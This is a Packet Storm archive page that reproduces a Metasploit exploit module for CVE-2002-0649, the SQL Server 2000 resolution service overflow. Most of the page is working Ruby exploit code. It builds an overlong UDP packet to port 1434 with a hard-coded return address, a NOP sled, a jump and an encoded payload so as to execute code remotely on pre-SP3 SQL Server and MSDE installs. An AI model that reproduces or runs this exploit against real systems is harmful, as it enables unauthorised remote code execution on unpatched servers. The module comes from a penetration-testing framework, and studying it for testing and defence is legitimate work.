exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft SQL Server Resolution Overflow

Microsoft SQL Server Resolution Overflow
Posted Oct 30, 2009
Authored by H D Moore | Site metasploit.com

This is an exploit for the SQL Server 2000 resolution service buffer overflow. This overflow is triggered by sending a udp packet to port 1434 which starts with 0x04 and is followed by long string terminating with a colon and a number. This Metasploit module should work against any vulnerable SQL Server 2000 or MSDE install (pre-SP3).

tags | exploit, overflow, udp
advisories | CVE-2002-0649
SHA-256 | 7711b3551f65de8b3c1a470acec58e0e4ae8a9851dc880cfc289ef0ef106db00

Microsoft SQL Server Resolution Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::MSSQL

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Resolution Overflow',
'Description' => %q{
This is an exploit for the SQL Server 2000 resolution
service buffer overflow. This overflow is triggered by
sending a udp packet to port 1434 which starts with 0x04 and
is followed by long string terminating with a colon and a
number. This module should work against any vulnerable SQL
Server 2000 or MSDE install (pre-SP3).

},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2002-0649'],
[ 'OSVDB', '4578'],
[ 'BID', '5310'],
[ 'MSB', 'MS02-039'],

],
'Privileged' => true,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'MSSQL 2000 / MSDE <= SP2',
{
'Platform' => 'win',
'Ret' => 0x42b48774,
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Jul 24 2002',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(1434)
], self.class)
end


def check
info = mssql_ping
if (info['ServerName'])
print_status("SQL Server Information:")
info.each_pair { |k,v|
print_status(" #{k + (" " * (15-k.length))} = #{v}")
}
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

def exploit

connect_udp
print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))
print_status("Execute 'net start sqlserveragent' once access is obtained");

# \x68:888 => push dword 0x3838383a
buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"

# Return to the stack pointer
buf[ 97, 4] = [target.ret].pack('V')

# Which lands right here
buf[101, 6] = make_nops(6)

# Jumps 8 bytes ahead
buf[107, 2] = "\xeb\x08"

# Write to thread storage space to avoid a crash
buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')

# And finally into the payload
buf[117,payload.encoded.length] = payload.encoded

udp_sock.put(buf)

disconnect_udp
handler
end

end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close